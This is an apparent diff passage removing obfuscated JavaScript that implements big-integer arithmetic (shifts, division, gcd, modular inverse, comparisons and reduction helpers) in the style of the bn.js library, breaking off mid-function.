- var _0x1084a7 = (0 | this.words[_0xbb4a18]) * _0x255677;
- var _0x36a4fd = (67108863 & _0x1084a7) + (67108863 & _0x55d02b);
- _0x55d02b >>= 26;
- _0x55d02b += _0x1084a7 / 67108864 | 0;
- _0x55d02b += _0x36a4fd >>> 26;
- this.words[_0xbb4a18] = 67108863 & _0x36a4fd;
- }
- 0 !== _0x55d02b && (this.words[_0xbb4a18] = _0x55d02b, this.length++);
- return _0x587b04 ? this.ineg() : this;
- };
- _0x2779a6.prototype.muln = function (_0x271078) {
- return this.clone().imuln(_0x271078);
- };
- _0x2779a6.prototype.sqr = function () {
- return this.mul(this);
- };
- _0x2779a6.prototype.isqr = function () {
- return this.imul(this.clone());
- };
- _0x2779a6.prototype.pow = function (_0x588c73) {
- var _0x510ad9 = function (_0x361038) {
- for (var _0x27995d = new Array(_0x361038.bitLength()), _0x1356b3 = 0; _0x1356b3 < _0x27995d.length; _0x1356b3++) {
- var _0x408586 = _0x1356b3 / 26 | 0;
- var _0x4cbfb3 = _0x1356b3 % 26;
- _0x27995d[_0x1356b3] = _0x361038.words[_0x408586] >>> _0x4cbfb3 & 1;
- }
- return _0x27995d;
- }(_0x588c73);
- if (0 === _0x510ad9.length) {
- return new _0x2779a6(1);
- }
- for (var _0x50bae8 = this, _0x1d2f0f = 0; _0x1d2f0f < _0x510ad9.length && 0 === _0x510ad9[_0x1d2f0f]; _0x1d2f0f++, _0x50bae8 = _0x50bae8.sqr()) {}
- if (++_0x1d2f0f < _0x510ad9.length) {
- for (var _0x248f89 = _0x50bae8.sqr(); _0x1d2f0f < _0x510ad9.length; _0x1d2f0f++, _0x248f89 = _0x248f89.sqr()) {
- 0 !== _0x510ad9[_0x1d2f0f] && (_0x50bae8 = _0x50bae8.mul(_0x248f89));
- }
- }
- return _0x50bae8;
- };
- _0x2779a6.prototype.iushln = function (_0x462d07) {
- _0x53d795("number" == typeof _0x462d07 && _0x462d07 >= 0);
- var _0x1f2e11;
- var _0x2bd4a4 = _0x462d07 % 26;
- var _0xeb784e = (_0x462d07 - _0x2bd4a4) / 26;
- var _0x1be2a7 = 67108863 >>> 26 - _0x2bd4a4 << 26 - _0x2bd4a4;
- if (0 !== _0x2bd4a4) {
- var _0x1a842b = 0;
- for (_0x1f2e11 = 0; _0x1f2e11 < this.length; _0x1f2e11++) {
- var _0x2110e1 = this.words[_0x1f2e11] & _0x1be2a7;
- var _0x11286e = (0 | this.words[_0x1f2e11]) - _0x2110e1 << _0x2bd4a4;
- this.words[_0x1f2e11] = _0x11286e | _0x1a842b;
- _0x1a842b = _0x2110e1 >>> 26 - _0x2bd4a4;
- }
- _0x1a842b && (this.words[_0x1f2e11] = _0x1a842b, this.length++);
- }
- if (0 !== _0xeb784e) {
- for (_0x1f2e11 = this.length - 1; _0x1f2e11 >= 0; _0x1f2e11--) {
- this.words[_0x1f2e11 + _0xeb784e] = this.words[_0x1f2e11];
- }
- for (_0x1f2e11 = 0; _0x1f2e11 < _0xeb784e; _0x1f2e11++) {
- this.words[_0x1f2e11] = 0;
- }
- this.length += _0xeb784e;
- }
- return this._strip();
- };
- _0x2779a6.prototype.ishln = function (_0x572252) {
- _0x53d795(0 === this.negative);
- return this.iushln(_0x572252);
- };
- _0x2779a6.prototype.iushrn = function (_0x47f6b4, _0x36ce1d, _0x28f82f) {
- var _0x471ed2;
- _0x53d795("number" == typeof _0x47f6b4 && _0x47f6b4 >= 0);
- _0x471ed2 = _0x36ce1d ? (_0x36ce1d - _0x36ce1d % 26) / 26 : 0;
- var _0x428f63 = _0x47f6b4 % 26;
- var _0x1ecac0 = Math.min((_0x47f6b4 - _0x428f63) / 26, this.length);
- var _0x12f8a6 = 67108863 ^ 67108863 >>> _0x428f63 << _0x428f63;
- var _0x28b34a = _0x28f82f;
- if (_0x471ed2 -= _0x1ecac0, _0x471ed2 = Math.max(0, _0x471ed2), _0x28b34a) {
- for (var _0x5c4766 = 0; _0x5c4766 < _0x1ecac0; _0x5c4766++) {
- _0x28b34a.words[_0x5c4766] = this.words[_0x5c4766];
- }
- _0x28b34a.length = _0x1ecac0;
- }
- if (!(0 === _0x1ecac0)) {
- if (this.length > _0x1ecac0) {
- for (this.length -= _0x1ecac0, _0x5c4766 = 0; _0x5c4766 < this.length; _0x5c4766++) {
- this.words[_0x5c4766] = this.words[_0x5c4766 + _0x1ecac0];
- }
- } else {
- this.words[0] = 0;
- this.length = 1;
- }
- }
- var _0x394f0a = 0;
- for (_0x5c4766 = this.length - 1; _0x5c4766 >= 0 && (0 !== _0x394f0a || _0x5c4766 >= _0x471ed2); _0x5c4766--) {
- var _0x495c10 = 0 | this.words[_0x5c4766];
- this.words[_0x5c4766] = _0x394f0a << 26 - _0x428f63 | _0x495c10 >>> _0x428f63;
- _0x394f0a = _0x495c10 & _0x12f8a6;
- }
- _0x28b34a && 0 !== _0x394f0a && (_0x28b34a.words[_0x28b34a.length++] = _0x394f0a);
- 0 === this.length && (this.words[0] = 0, this.length = 1);
- return this._strip();
- };
- _0x2779a6.prototype.ishrn = function (_0xb57560, _0x37cbcf, _0x2be323) {
- _0x53d795(0 === this.negative);
- return this.iushrn(_0xb57560, _0x37cbcf, _0x2be323);
- };
- _0x2779a6.prototype.shln = function (_0x58728d) {
- return this.clone().ishln(_0x58728d);
- };
- _0x2779a6.prototype.ushln = function (_0x1d31bc) {
- return this.clone().iushln(_0x1d31bc);
- };
- _0x2779a6.prototype.shrn = function (_0x2b3429) {
- return this.clone().ishrn(_0x2b3429);
- };
- _0x2779a6.prototype.ushrn = function (_0x43b509) {
- return this.clone().iushrn(_0x43b509);
- };
- _0x2779a6.prototype.testn = function (_0x4f8782) {
- _0x53d795("number" == typeof _0x4f8782 && _0x4f8782 >= 0);
- var _0x5a7a7e = _0x4f8782 % 26;
- var _0x132f97 = (_0x4f8782 - _0x5a7a7e) / 26;
- var _0x232c5d = 1 << _0x5a7a7e;
- return !(this.length <= _0x132f97 || !(this.words[_0x132f97] & _0x232c5d));
- };
- _0x2779a6.prototype.imaskn = function (_0x81c68c) {
- _0x53d795("number" == typeof _0x81c68c && _0x81c68c >= 0);
- var _0xe8e848 = _0x81c68c % 26;
- var _0x5472e5 = (_0x81c68c - _0xe8e848) / 26;
- if (_0x53d795(0 === this.negative, "imaskn works only with positive numbers"), this.length <= _0x5472e5) {
- return this;
- }
- if (0 !== _0xe8e848 && _0x5472e5++, this.length = Math.min(_0x5472e5, this.length), 0 !== _0xe8e848) {
- var _0x126d3d = 67108863 ^ 67108863 >>> _0xe8e848 << _0xe8e848;
- this.words[this.length - 1] &= _0x126d3d;
- }
- return this._strip();
- };
- _0x2779a6.prototype.maskn = function (_0x49e649) {
- return this.clone().imaskn(_0x49e649);
- };
- _0x2779a6.prototype.iaddn = function (_0x1b5d7b) {
- _0x53d795("number" == typeof _0x1b5d7b);
- _0x53d795(_0x1b5d7b < 67108864);
- return _0x1b5d7b < 0 ? this.isubn(-_0x1b5d7b) : 0 !== this.negative ? 1 === this.length && (0 | this.words[0]) <= _0x1b5d7b ? (this.words[0] = _0x1b5d7b - (0 | this.words[0]), this.negative = 0, this) : (this.negative = 0, this.isubn(_0x1b5d7b), this.negative = 1, this) : this._iaddn(_0x1b5d7b);
- };
- _0x2779a6.prototype._iaddn = function (_0xe464be) {
- this.words[0] += _0xe464be;
- for (var _0x3d8c72 = 0; _0x3d8c72 < this.length && this.words[_0x3d8c72] >= 67108864; _0x3d8c72++) {
- this.words[_0x3d8c72] -= 67108864;
- _0x3d8c72 === this.length - 1 ? this.words[_0x3d8c72 + 1] = 1 : this.words[_0x3d8c72 + 1]++;
- }
- this.length = Math.max(this.length, _0x3d8c72 + 1);
- return this;
- };
- _0x2779a6.prototype.isubn = function (_0x32bcb5) {
- if (_0x53d795("number" == typeof _0x32bcb5), _0x53d795(_0x32bcb5 < 67108864), _0x32bcb5 < 0) {
- return this.iaddn(-_0x32bcb5);
- }
- if (0 !== this.negative) {
- this.negative = 0;
- this.iaddn(_0x32bcb5);
- this.negative = 1;
- return this;
- }
- if (this.words[0] -= _0x32bcb5, 1 === this.length && this.words[0] < 0) {
- this.words[0] = -this.words[0];
- this.negative = 1;
- } else {
- for (var _0x57e61e = 0; _0x57e61e < this.length && this.words[_0x57e61e] < 0; _0x57e61e++) {
- this.words[_0x57e61e] += 67108864;
- this.words[_0x57e61e + 1] -= 1;
- }
- }
- return this._strip();
- };
- _0x2779a6.prototype.addn = function (_0x4595ec) {
- return this.clone().iaddn(_0x4595ec);
- };
- _0x2779a6.prototype.subn = function (_0x3e6e62) {
- return this.clone().isubn(_0x3e6e62);
- };
- _0x2779a6.prototype.iabs = function () {
- this.negative = 0;
- return this;
- };
- _0x2779a6.prototype.abs = function () {
- return this.clone().iabs();
- };
- _0x2779a6.prototype._ishlnsubmul = function (_0x2a5b3c, _0x3d651f, _0x344140) {
- var _0x3f8374;
- var _0x4cb378;
- var _0x3e23d4 = _0x2a5b3c.length + _0x344140;
- this._expand(_0x3e23d4);
- var _0x1383d9 = 0;
- for (_0x3f8374 = 0; _0x3f8374 < _0x2a5b3c.length; _0x3f8374++) {
- _0x4cb378 = (0 | this.words[_0x3f8374 + _0x344140]) + _0x1383d9;
- var _0x183ca0 = (0 | _0x2a5b3c.words[_0x3f8374]) * _0x3d651f;
- _0x1383d9 = ((_0x4cb378 -= 67108863 & _0x183ca0) >> 26) - (_0x183ca0 / 67108864 | 0);
- this.words[_0x3f8374 + _0x344140] = 67108863 & _0x4cb378;
- }
- for (; _0x3f8374 < this.length - _0x344140; _0x3f8374++) {
- _0x1383d9 = (_0x4cb378 = (0 | this.words[_0x3f8374 + _0x344140]) + _0x1383d9) >> 26;
- this.words[_0x3f8374 + _0x344140] = 67108863 & _0x4cb378;
- }
- if (0 === _0x1383d9) {
- return this._strip();
- }
- for (_0x53d795(-1 === _0x1383d9), _0x1383d9 = 0, _0x3f8374 = 0; _0x3f8374 < this.length; _0x3f8374++) {
- _0x1383d9 = (_0x4cb378 = -(0 | this.words[_0x3f8374]) + _0x1383d9) >> 26;
- this.words[_0x3f8374] = 67108863 & _0x4cb378;
- }
- this.negative = 1;
- return this._strip();
- };
- _0x2779a6.prototype._wordDiv = function (_0x1e6af2, _0x15367c) {
- this.length;
- var _0x4f81fb = _0x1e6af2.length;
- var _0xa37be4 = this.clone();
- var _0x27a599 = _0x1e6af2;
- var _0x3f040e = 0 | _0x27a599.words[_0x27a599.length - 1];
- 0 != (_0x4f81fb = 26 - this._countBits(_0x3f040e)) && (_0x27a599 = _0x27a599.ushln(_0x4f81fb), _0xa37be4.iushln(_0x4f81fb), _0x3f040e = 0 | _0x27a599.words[_0x27a599.length - 1]);
- var _0x14fcdf;
- var _0x2480d2 = _0xa37be4.length - _0x27a599.length;
- if ("mod" !== _0x15367c) {
- (_0x14fcdf = new _0x2779a6(null)).length = _0x2480d2 + 1;
- _0x14fcdf.words = new Array(_0x14fcdf.length);
- for (var _0x4fe753 = 0; _0x4fe753 < _0x14fcdf.length; _0x4fe753++) {
- _0x14fcdf.words[_0x4fe753] = 0;
- }
- }
- var _0x10fa6a = _0xa37be4.clone()._ishlnsubmul(_0x27a599, 1, _0x2480d2);
- 0 === _0x10fa6a.negative && (_0xa37be4 = _0x10fa6a, _0x14fcdf && (_0x14fcdf.words[_0x2480d2] = 1));
- for (var _0xee1d3f = _0x2480d2 - 1; _0xee1d3f >= 0; _0xee1d3f--) {
- var _0x214b9a = 67108864 * (0 | _0xa37be4.words[_0x27a599.length + _0xee1d3f]) + (0 | _0xa37be4.words[_0x27a599.length + _0xee1d3f - 1]);
- for (_0x214b9a = Math.min(_0x214b9a / _0x3f040e | 0, 67108863), _0xa37be4._ishlnsubmul(_0x27a599, _0x214b9a, _0xee1d3f); 0 !== _0xa37be4.negative;) {
- _0x214b9a--;
- _0xa37be4.negative = 0;
- _0xa37be4._ishlnsubmul(_0x27a599, 1, _0xee1d3f);
- _0xa37be4.isZero() || (_0xa37be4.negative ^= 1);
- }
- _0x14fcdf && (_0x14fcdf.words[_0xee1d3f] = _0x214b9a);
- }
- _0x14fcdf && _0x14fcdf._strip();
- _0xa37be4._strip();
- "div" !== _0x15367c && 0 !== _0x4f81fb && _0xa37be4.iushrn(_0x4f81fb);
- return {
- div: _0x14fcdf || null,
- mod: _0xa37be4
- };
- };
- _0x2779a6.prototype.divmod = function (_0x2548b8, _0x241fb7, _0x1bb58d) {
- _0x53d795(!_0x2548b8.isZero());
- return this.isZero() ? {
- div: new _0x2779a6(0),
- mod: new _0x2779a6(0)
- } : 0 !== this.negative && 0 === _0x2548b8.negative ? (_0x3e928d = this.neg().divmod(_0x2548b8, _0x241fb7), "mod" !== _0x241fb7 && (_0x27a012 = _0x3e928d.div.neg()), "div" !== _0x241fb7 && (_0x515e45 = _0x3e928d.mod.neg(), _0x1bb58d && 0 !== _0x515e45.negative && _0x515e45.iadd(_0x2548b8)), {
- div: _0x27a012,
- mod: _0x515e45
- }) : 0 === this.negative && 0 !== _0x2548b8.negative ? (_0x3e928d = this.divmod(_0x2548b8.neg(), _0x241fb7), "mod" !== _0x241fb7 && (_0x27a012 = _0x3e928d.div.neg()), {
- div: _0x27a012,
- mod: _0x3e928d.mod
- }) : 0 != (this.negative & _0x2548b8.negative) ? (_0x3e928d = this.neg().divmod(_0x2548b8.neg(), _0x241fb7), "div" !== _0x241fb7 && (_0x515e45 = _0x3e928d.mod.neg(), _0x1bb58d && 0 !== _0x515e45.negative && _0x515e45.isub(_0x2548b8)), {
- div: _0x3e928d.div,
- mod: _0x515e45
- }) : _0x2548b8.length > this.length || this.cmp(_0x2548b8) < 0 ? {
- div: new _0x2779a6(0),
- mod: this
- } : 1 === _0x2548b8.length ? "div" === _0x241fb7 ? {
- div: this.divn(_0x2548b8.words[0]),
- mod: null
- } : "mod" === _0x241fb7 ? {
- div: null,
- mod: new _0x2779a6(this.modrn(_0x2548b8.words[0]))
- } : {
- div: this.divn(_0x2548b8.words[0]),
- mod: new _0x2779a6(this.modrn(_0x2548b8.words[0]))
- } : this._wordDiv(_0x2548b8, _0x241fb7);
- var _0x27a012;
- var _0x515e45;
- var _0x3e928d;
- };
- _0x2779a6.prototype.div = function (_0x6c4609) {
- return this.divmod(_0x6c4609, "div", false).div;
- };
- _0x2779a6.prototype.mod = function (_0xcd20f0) {
- return this.divmod(_0xcd20f0, "mod", false).mod;
- };
- _0x2779a6.prototype.umod = function (_0x343963) {
- return this.divmod(_0x343963, "mod", true).mod;
- };
- _0x2779a6.prototype.divRound = function (_0x3328e5) {
- var _0x3beee2 = this.divmod(_0x3328e5);
- if (_0x3beee2.mod.isZero()) {
- return _0x3beee2.div;
- }
- var _0x435f1b = 0 !== _0x3beee2.div.negative ? _0x3beee2.mod.isub(_0x3328e5) : _0x3beee2.mod;
- var _0x47c4ef = _0x3328e5.ushrn(1);
- var _0x208409 = _0x3328e5.andln(1);
- var _0x1df8e2 = _0x435f1b.cmp(_0x47c4ef);
- return _0x1df8e2 < 0 || 1 === _0x208409 && 0 === _0x1df8e2 ? _0x3beee2.div : 0 !== _0x3beee2.div.negative ? _0x3beee2.div.isubn(1) : _0x3beee2.div.iaddn(1);
- };
- _0x2779a6.prototype.modrn = function (_0x20725) {
- var _0x1a5f5e = _0x20725 < 0;
- _0x1a5f5e && (_0x20725 = -_0x20725);
- _0x53d795(_0x20725 <= 67108863);
- for (var _0x1bf170 = 67108864 % _0x20725, _0xc33725 = 0, _0x26a802 = this.length - 1; _0x26a802 >= 0; _0x26a802--) {
- _0xc33725 = (_0x1bf170 * _0xc33725 + (0 | this.words[_0x26a802])) % _0x20725;
- }
- return _0x1a5f5e ? -_0xc33725 : _0xc33725;
- };
- _0x2779a6.prototype.modn = function (_0x5375d6) {
- return this.modrn(_0x5375d6);
- };
- _0x2779a6.prototype.idivn = function (_0x2db469) {
- var _0x5ee380 = _0x2db469 < 0;
- _0x5ee380 && (_0x2db469 = -_0x2db469);
- _0x53d795(_0x2db469 <= 67108863);
- for (var _0x4e314c = 0, _0x173823 = this.length - 1; _0x173823 >= 0; _0x173823--) {
- var _0x3fb8d1 = (0 | this.words[_0x173823]) + 67108864 * _0x4e314c;
- this.words[_0x173823] = _0x3fb8d1 / _0x2db469 | 0;
- _0x4e314c = _0x3fb8d1 % _0x2db469;
- }
- this._strip();
- return _0x5ee380 ? this.ineg() : this;
- };
- _0x2779a6.prototype.divn = function (_0x4ac487) {
- return this.clone().idivn(_0x4ac487);
- };
- _0x2779a6.prototype.egcd = function (_0x134feb) {
- _0x53d795(0 === _0x134feb.negative);
- _0x53d795(!_0x134feb.isZero());
- var _0x2e20bd = this;
- var _0x4b19c0 = _0x134feb.clone();
- _0x2e20bd = 0 !== _0x2e20bd.negative ? _0x2e20bd.umod(_0x134feb) : _0x2e20bd.clone();
- for (var _0x3741e5 = new _0x2779a6(1), _0x368ed9 = new _0x2779a6(0), _0x62b36c = new _0x2779a6(0), _0x3c8cec = new _0x2779a6(1), _0x33edef = 0; _0x2e20bd.isEven() && _0x4b19c0.isEven();) {
- _0x2e20bd.iushrn(1);
- _0x4b19c0.iushrn(1);
- ++_0x33edef;
- }
- for (var _0x26d730 = _0x4b19c0.clone(), _0x3d37ac = _0x2e20bd.clone(); !_0x2e20bd.isZero();) {
- for (var _0x3eb0b4 = 0, _0x1fb9ae = 1; 0 == (_0x2e20bd.words[0] & _0x1fb9ae) && _0x3eb0b4 < 26; ++_0x3eb0b4, _0x1fb9ae <<= 1) {}
- if (_0x3eb0b4 > 0) {
- for (_0x2e20bd.iushrn(_0x3eb0b4); _0x3eb0b4-- > 0;) {
- (_0x3741e5.isOdd() || _0x368ed9.isOdd()) && (_0x3741e5.iadd(_0x26d730), _0x368ed9.isub(_0x3d37ac));
- _0x3741e5.iushrn(1);
- _0x368ed9.iushrn(1);
- }
- }
- for (var _0x9c27 = 0, _0x2b9870 = 1; 0 == (_0x4b19c0.words[0] & _0x2b9870) && _0x9c27 < 26; ++_0x9c27, _0x2b9870 <<= 1) {}
- if (_0x9c27 > 0) {
- for (_0x4b19c0.iushrn(_0x9c27); _0x9c27-- > 0;) {
- (_0x62b36c.isOdd() || _0x3c8cec.isOdd()) && (_0x62b36c.iadd(_0x26d730), _0x3c8cec.isub(_0x3d37ac));
- _0x62b36c.iushrn(1);
- _0x3c8cec.iushrn(1);
- }
- }
- _0x2e20bd.cmp(_0x4b19c0) >= 0 ? (_0x2e20bd.isub(_0x4b19c0), _0x3741e5.isub(_0x62b36c), _0x368ed9.isub(_0x3c8cec)) : (_0x4b19c0.isub(_0x2e20bd), _0x62b36c.isub(_0x3741e5), _0x3c8cec.isub(_0x368ed9));
- }
- return {
- a: _0x62b36c,
- b: _0x3c8cec,
- gcd: _0x4b19c0.iushln(_0x33edef)
- };
- };
- _0x2779a6.prototype._invmp = function (_0x1bf17c) {
- _0x53d795(0 === _0x1bf17c.negative);
- _0x53d795(!_0x1bf17c.isZero());
- var _0x1dccd6 = this;
- var _0x518747 = _0x1bf17c.clone();
- _0x1dccd6 = 0 !== _0x1dccd6.negative ? _0x1dccd6.umod(_0x1bf17c) : _0x1dccd6.clone();
- for (var _0x26b693, _0x2c48d4 = new _0x2779a6(1), _0x1d26e8 = new _0x2779a6(0), _0x1d3ff0 = _0x518747.clone(); _0x1dccd6.cmpn(1) > 0 && _0x518747.cmpn(1) > 0;) {
- for (var _0x2ab40b = 0, _0x3cad65 = 1; 0 == (_0x1dccd6.words[0] & _0x3cad65) && _0x2ab40b < 26; ++_0x2ab40b, _0x3cad65 <<= 1) {}
- if (_0x2ab40b > 0) {
- for (_0x1dccd6.iushrn(_0x2ab40b); _0x2ab40b-- > 0;) {
- _0x2c48d4.isOdd() && _0x2c48d4.iadd(_0x1d3ff0);
- _0x2c48d4.iushrn(1);
- }
- }
- for (var _0x31675f = 0, _0x149a80 = 1; 0 == (_0x518747.words[0] & _0x149a80) && _0x31675f < 26; ++_0x31675f, _0x149a80 <<= 1) {}
- if (_0x31675f > 0) {
- for (_0x518747.iushrn(_0x31675f); _0x31675f-- > 0;) {
- _0x1d26e8.isOdd() && _0x1d26e8.iadd(_0x1d3ff0);
- _0x1d26e8.iushrn(1);
- }
- }
- _0x1dccd6.cmp(_0x518747) >= 0 ? (_0x1dccd6.isub(_0x518747), _0x2c48d4.isub(_0x1d26e8)) : (_0x518747.isub(_0x1dccd6), _0x1d26e8.isub(_0x2c48d4));
- }
- (_0x26b693 = 0 === _0x1dccd6.cmpn(1) ? _0x2c48d4 : _0x1d26e8).cmpn(0) < 0 && _0x26b693.iadd(_0x1bf17c);
- return _0x26b693;
- };
- _0x2779a6.prototype.gcd = function (_0x40bcbc) {
- if (this.isZero()) {
- return _0x40bcbc.abs();
- }
- if (_0x40bcbc.isZero()) {
- return this.abs();
- }
- var _0x68f4a1 = this.clone();
- var _0x4f9728 = _0x40bcbc.clone();
- _0x68f4a1.negative = 0;
- _0x4f9728.negative = 0;
- for (var _0x5c87d1 = 0; _0x68f4a1.isEven() && _0x4f9728.isEven(); _0x5c87d1++) {
- _0x68f4a1.iushrn(1);
- _0x4f9728.iushrn(1);
- }
- for (;;) {
- for (; _0x68f4a1.isEven();) {
- _0x68f4a1.iushrn(1);
- }
- for (; _0x4f9728.isEven();) {
- _0x4f9728.iushrn(1);
- }
- var _0x3ec271 = _0x68f4a1.cmp(_0x4f9728);
- if (_0x3ec271 < 0) {
- var _0x29375c = _0x68f4a1;
- _0x68f4a1 = _0x4f9728;
- _0x4f9728 = _0x29375c;
- } else {
- if (0 === _0x3ec271 || 0 === _0x4f9728.cmpn(1)) {
- break;
- }
- }
- _0x68f4a1.isub(_0x4f9728);
- }
- return _0x4f9728.iushln(_0x5c87d1);
- };
- _0x2779a6.prototype.invm = function (_0x475d26) {
- return this.egcd(_0x475d26).a.umod(_0x475d26);
- };
- _0x2779a6.prototype.isEven = function () {
- return 0 == (1 & this.words[0]);
- };
- _0x2779a6.prototype.isOdd = function () {
- return 1 == (1 & this.words[0]);
- };
- _0x2779a6.prototype.andln = function (_0x123e66) {
- return this.words[0] & _0x123e66;
- };
- _0x2779a6.prototype.bincn = function (_0x22a526) {
- _0x53d795("number" == typeof _0x22a526);
- var _0x8adad7 = _0x22a526 % 26;
- var _0x58b90c = (_0x22a526 - _0x8adad7) / 26;
- var _0x42b39f = 1 << _0x8adad7;
- if (this.length <= _0x58b90c) {
- this._expand(_0x58b90c + 1);
- this.words[_0x58b90c] |= _0x42b39f;
- return this;
- }
- for (var _0x4985f5 = _0x42b39f, _0x31aa07 = _0x58b90c; 0 !== _0x4985f5 && _0x31aa07 < this.length; _0x31aa07++) {
- var _0x531483 = 0 | this.words[_0x31aa07];
- _0x4985f5 = (_0x531483 += _0x4985f5) >>> 26;
- _0x531483 &= 67108863;
- this.words[_0x31aa07] = _0x531483;
- }
- 0 !== _0x4985f5 && (this.words[_0x31aa07] = _0x4985f5, this.length++);
- return this;
- };
- _0x2779a6.prototype.isZero = function () {
- return 1 === this.length && 0 === this.words[0];
- };
- _0x2779a6.prototype.cmpn = function (_0x3133b1) {
- var _0x421712;
- var _0x53dafe = _0x3133b1 < 0;
- if (0 !== this.negative && !_0x53dafe) {
- return -1;
- }
- if (0 === this.negative && _0x53dafe) {
- return 1;
- }
- if (this._strip(), this.length > 1) {
- _0x421712 = 1;
- } else {
- _0x53dafe && (_0x3133b1 = -_0x3133b1);
- _0x53d795(_0x3133b1 <= 67108863, "Number is too big");
- var _0x3e7c19 = 0 | this.words[0];
- _0x421712 = _0x3e7c19 === _0x3133b1 ? 0 : _0x3e7c19 < _0x3133b1 ? -1 : 1;
- }
- return 0 !== this.negative ? 0 | -_0x421712 : _0x421712;
- };
- _0x2779a6.prototype.cmp = function (_0x4586fc) {
- if (0 !== this.negative && 0 === _0x4586fc.negative) {
- return -1;
- }
- if (0 === this.negative && 0 !== _0x4586fc.negative) {
- return 1;
- }
- var _0x38bc1a = this.ucmp(_0x4586fc);
- return 0 !== this.negative ? 0 | -_0x38bc1a : _0x38bc1a;
- };
- _0x2779a6.prototype.ucmp = function (_0x3cfad5) {
- if (this.length > _0x3cfad5.length) {
- return 1;
- }
- if (this.length < _0x3cfad5.length) {
- return -1;
- }
- for (var _0x4be84d = 0, _0x3c7aaa = this.length - 1; _0x3c7aaa >= 0; _0x3c7aaa--) {
- var _0x761ae5 = 0 | this.words[_0x3c7aaa];
- var _0x303493 = 0 | _0x3cfad5.words[_0x3c7aaa];
- if (_0x761ae5 !== _0x303493) {
- _0x761ae5 < _0x303493 ? _0x4be84d = -1 : _0x761ae5 > _0x303493 && (_0x4be84d = 1);
- break;
- }
- }
- return _0x4be84d;
- };
- _0x2779a6.prototype.gtn = function (_0x14396c) {
- return 1 === this.cmpn(_0x14396c);
- };
- _0x2779a6.prototype.gt = function (_0x4db06c) {
- return 1 === this.cmp(_0x4db06c);
- };
- _0x2779a6.prototype.gten = function (_0x4f0d0b) {
- return this.cmpn(_0x4f0d0b) >= 0;
- };
- _0x2779a6.prototype.gte = function (_0x354617) {
- return this.cmp(_0x354617) >= 0;
- };
- _0x2779a6.prototype.ltn = function (_0x375d73) {
- return -1 === this.cmpn(_0x375d73);
- };
- _0x2779a6.prototype.lt = function (_0x2b78f5) {
- return -1 === this.cmp(_0x2b78f5);
- };
- _0x2779a6.prototype.lten = function (_0x4fe36e) {
- return this.cmpn(_0x4fe36e) <= 0;
- };
- _0x2779a6.prototype.lte = function (_0xf361fe) {
- return this.cmp(_0xf361fe) <= 0;
- };
- _0x2779a6.prototype.eqn = function (_0x56c7a9) {
- return 0 === this.cmpn(_0x56c7a9);
- };
- _0x2779a6.prototype.eq = function (_0x3d5fb7) {
- return 0 === this.cmp(_0x3d5fb7);
- };
- _0x2779a6.red = function (_0x5e9ad3) {
- return new _0x2fd6b8(_0x5e9ad3);
- };
- _0x2779a6.prototype.toRed = function (_0x109a5d) {
- _0x53d795(!this.red, "Already a number in reduction context");
- _0x53d795(0 === this.negative, "red works only with positives");
- return _0x109a5d.convertTo(this)._forceRed(_0x109a5d);
- };
- _0x2779a6.prototype.fromRed = function () {
- _0x53d795(this.red, "fromRed works only with numbers in reduction context");
- return this.red.convertFrom(this);
- };
- _0x2779a6.prototype._forceRed = function (_0xc7494f) {
- this.red = _0xc7494f;
- return this;
- };
- _0x2779a6.prototype.forceRed = function (_0x289a49) {
- _0x53d795(!this.red, "Already a number in reduction context");
- return this._forceRed(_0x289a49);
- };
- _0x2779a6.prototype.redAdd = function (_0x7d84a3) {
- _0x53d795(this.red, "redAdd works only with red numbers");
- return this.red.add(this, _0x7d84a3);
- };
- _0x2779a6.prototype.redIAdd = function (_0x3c4d63) {
- _0x53d795(this.red, "redIAdd works only with red numbers");
- return this.red.iadd(this, _0x3c4d63);
- };
- _0x2779a6.prototype.redSub = function (_0x57d9a1) {
- _0x53d795(this.red, "redSub works only with red numbers");
- return this.red.sub(this, _0x57d9a1);
- };
- _0x2779a6.prototype.redISub = function (_0x3abb36) {
- _0x53d795(this.red, "redISub works only with red numbers");
- return this.red.isub(this, _0x3abb36);
- };
- _0x2779a6.prototype.redShl = function (_0x53c3a6) {
- _0x53d795(this.red, "redShl works only with red numbers");
- return this.red.shl(this, _0x53c3a6);
- };
- _0x2779a6.prototype.redMul = function (_0x257991) {
- _0x53d795(this.red, "redMul works only with red numbers");
- this.red._verify2(this, _0x257991);
- return this.red.mul(this, _0x257991);
- };
- _0x2779a6.prototype.redIMul = function (_0x46c001) {
- _0x53d795(this.red, "redMul works only with red numbers");
- this.red._verify2(this, _0x46c001);
- return this.red.imul(this, _0x46c001);
- };
- _0x2779a6.prototype.redSqr = function () {
- _0x53d795(this.red, "redSqr works only with red numbers");
- this.red._verify1(this);
- return this.red.sqr(this);
- };
- _0x2779a6.prototype.redISqr = function () {
- _0x53d795(this.red, "redISqr works only with red numbers");
- this.red._verify1(this);
- return this.red.isqr(this);
- };
- _0x2779a6.prototype.redSqrt = function () {
- _0x53d795(this.red, "redSqrt works only with red numbers");
- this.red._verify1(this);
- return this.red.sqrt(this);
- };
- _0x2779a6.prototype.redInvm = function () {
- _0x53d795(this.red, "redInvm works only with red numbers");
- this.red._verify1(this);
- return this.red.invm(this);
- };
- _0x2779a6.prototype.redNeg = function () {
- _0x53d795(this.red, "redNeg works only with red numbers");
- this.red._verify1(this);
- return this.red.neg(this);
- };
- _0x2779a6.prototype.redPow = function (_0x51dd09) {
- _0x53d795(this.red && !_0x51dd09.red, "redPow(normalNum)");
- this.red._verify1(this);
- return this.red.pow(this, _0x51dd09);
- };
- var _0x1875b5 = {
- k256: null,
- p224: null,
- p192: null,
- p25519: null
- };
- function _0x12a4b9(_0x17fa37, _0x4266f2) {
- this.name = _0x17fa37;
- this.p = new _0x2779a6(_0x4266f2, 16);
- this.n = this.p.bitLength();
- this.k = new _0x2779a6(1).iushln(this.n).isub(this.p);
- this.tmp = this._tmp();
- }
- function _0x52de00() {
- _0x12a4b9.call(this, "k256", "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f");
- }
- function _0x4ffd07() {
- _0x12a4b9.call(this, "p224", "ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001");
- }
- function _0x505168() {
- _0x12a4b9.call(this, "p192", "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff");
- }
- function _0x110504() {
- _0x12a4b9.call(this, "25519", "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed");
- }
- function _0x2fd6b8(_0x134e5f) {
- if ("string" == typeof _0x134e5f) {
- var _0x579ea6 = _0x2779a6._prime(_0x134e5f);
- this.m = _0x579ea6.p;
- this.prime = _0x579ea6;
- } else {
